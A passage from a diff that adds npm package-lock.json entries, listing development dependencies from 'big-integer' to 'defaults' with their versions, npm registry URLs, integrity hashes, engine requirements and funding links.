"sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==", + "dev": true, + "engines": { + "node": ">=0.6" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/bl": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-5.1.0.tgz", + "integrity": "sha512-tv1ZJHLfTDnXE6tMHv73YgSJaWR2AFuPwMntBe7XL/GBFHnT0CLnsHMogfk5+GzCDC5ZWarSCYaIGATZt9dNsQ==", + "dev": true, + "dependencies": { + "buffer": "^6.0.3", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true + }, + "node_modules/boolean": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.2.0.tgz", + "integrity": "sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==", + "dev": true + }, + "node_modules/boxen": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/boxen/-/boxen-6.2.1.tgz", + "integrity": "sha512-H4PEsJXfFI/Pt8sjDWbHlQPx4zL/bvSQjcilJmaulGt5mLDorHOHpmdXAJcBcmru7PhYSp/cDMWRko4ZUMFkSw==", + "dev": true, + "dependencies": { + "ansi-align": "^3.0.1", + "camelcase": "^6.2.0", + "chalk": "^4.1.2", + "cli-boxes": "^3.0.0", + "string-width": "^5.0.1", + "type-fest": "^2.5.0", + "widest-line": "^4.0.1", + "wrap-ansi": "^8.0.1" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/boxen/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/boxen/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/boxen/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/boxen/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/boxen/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/boxen/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/bplist-parser": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/bplist-parser/-/bplist-parser-0.2.0.tgz", + "integrity": "sha512-z0M+byMThzQmD9NILRniCUXYsYpjwnlO8N5uCFaCqIOpqRsJCrQL9NK3JsD67CN5a08nF5oIL2bD6loTdHOuKw==", + "dev": true, + "dependencies": { + "big-integer": "^1.6.44" + }, + "engines": { + "node": ">= 5.10.0" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.21.9", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.9.tgz", + "integrity": "sha512-M0MFoZzbUrRU4KNfCrDLnvyE7gub+peetoTid3TBIqtunaDJyXlwhakT+/VkvSXcfIzFfK/nkCs4nmyTmxdNSg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001503", + "electron-to-chromium": "^1.4.431", + "node-releases": "^2.0.12", + "update-browserslist-db": "^1.0.11" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/bulma-toast": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/bulma-toast/-/bulma-toast-2.4.2.tgz", + "integrity": "sha512-c3ehyeXhhvxevKICP1VKsFtZlQH+H6/S+yYY4TFyLRfkbw3mh71eGazlNc/YEIvXQSbxHpD2f+WDc02xECuV9g==", + "dev": true + }, + "node_modules/bundle-name": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bundle-name/-/bundle-name-3.0.0.tgz", + "integrity": "sha512-PKA4BeSvBpQKQ8iPOGCSiell+N8P+Tf1DlwqmYhpe2gAhKPHn8EYOxVT+ShuGmhg8lN8XiSlS80yiExKXrURlw==", + "dev": true, + "dependencies": { + "run-applescript": "^5.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001514", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001514.tgz", + "integrity": "sha512-ENcIpYBmwAAOm/V2cXgM7rZUrKKaqisZl4ZAI520FIkqGXUxJjmaIssbRW5HVVR5tyV6ygTLIm15aU8LUmQSaQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true + }, + "node_modules/ci-info": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "engines": { + "node": ">=8" + } + }, + "node_modules/clean-css": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.2.tgz", + "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cli-boxes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-3.0.0.tgz", + "integrity": "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-cursor": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-4.0.0.tgz", + "integrity": "sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==", + "dev": true, + "dependencies": { + "restore-cursor": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.0.tgz", + "integrity": "sha512-4/aL9X3Wh0yiMQlE+eeRhWP6vclO3QRtw1JHKIT0FFUs5FjpFmESqtMvYZ0+lbzBw900b95mS0hohy+qn2VK/g==", + "dev": true, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/color": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz", + "integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1", + "color-string": "^1.9.0" + }, + "engines": { + "node": ">=12.5.0" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/color-string": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz", + "integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==", + "dev": true, + "dependencies": { + "color-name": "^1.0.0", + "simple-swizzle": "^0.2.2" + } + }, + "node_modules/color/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/commander": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-10.0.1.tgz", + "integrity": "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==", + "dev": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/common-ancestor-path": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/common-ancestor-path/-/common-ancestor-path-1.0.1.tgz", + "integrity": "sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w==", + "dev": true + }, + "node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true + }, + "node_modules/cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz", + "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", + "dev": true, + "dependencies": { + "mdn-data": "2.0.28", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/csso": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz", + "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", + "dev": true, + "dependencies": { + "css-tree": "~2.2.0" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz", + "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==", + "dev": true, + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/deepmerge-ts": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-4.3.0.tgz", + "integrity": "sha512-if3ZYdkD2dClhnXR5reKtG98cwyaRT1NeugQoAPTTfsOpV9kqyeiBF9Qa5RHjemb3KzD5ulqygv6ED3t5j9eJw==", + "dev": true, + "engines": { + "node": ">=12.4.0" + } + }, + "node_modules/default-browser": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/default-browser/-/default-browser-4.0.0.tgz", + "integrity": "sha512-wX5pXO1+BrhMkSbROFsyxUm0i/cJEScyNhA4PPxc41ICuv05ZZB/MX28s8aZx6xjmatvebIapF6hLEKEcpneUA==", + "dev": true, + "dependencies": { + "bundle-name": "^3.0.0", + "default-browser-id": "^3.0.0", + "execa": "^7.1.1", + "titleize": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-browser-id": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/default-browser-id/-/default-browser-id-3.0.0.tgz", + "integrity": "sha512-OZ1y3y0SqSICtE8DE4S8YOE9UZOJ8wO16fKWVP5J1Qz42kV9jcnMVFrEE/noXb/ss3Q4pZIH79kxofzyNNtUNA==", + "dev": true, + "dependencies": { + "bplist-parser": "^0.2.0", + "untildify": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-browser/node_modules/execa": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-7.1.1.tgz", + "integrity": "sha512-wH0eMf/UXckdUYnO21+HDztteVv05rq2GXksxT4fCGeHkBhw1DROXh40wcjMcRqDOWE7iPJ4n3M7e2+YFP+76Q==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.1", + "human-signals": "^4.3.0", + "is-stream": "^3.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^5.1.0", + "onetime": "^6.0.0", + "signal-exit": "^3.0.7", + "strip-final-newline": "^3.0.0" + }, + "engines": { + "node": "^14.18.0 || ^16.14.0 || >=18.0.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/default-browser/node_modules/human-signals": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-4.3.1.tgz", + "integrity": "sha512-nZXjEF2nbo7lIw3mgYjItAfgQXog3OjJogSbKa2CQIIvSGWcKgeJnQlNXip6NglNzYH45nSRiEVimMvYL8DDqQ==", + "dev": true, + "engines": { + "node": ">=14.18.0" + } + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": 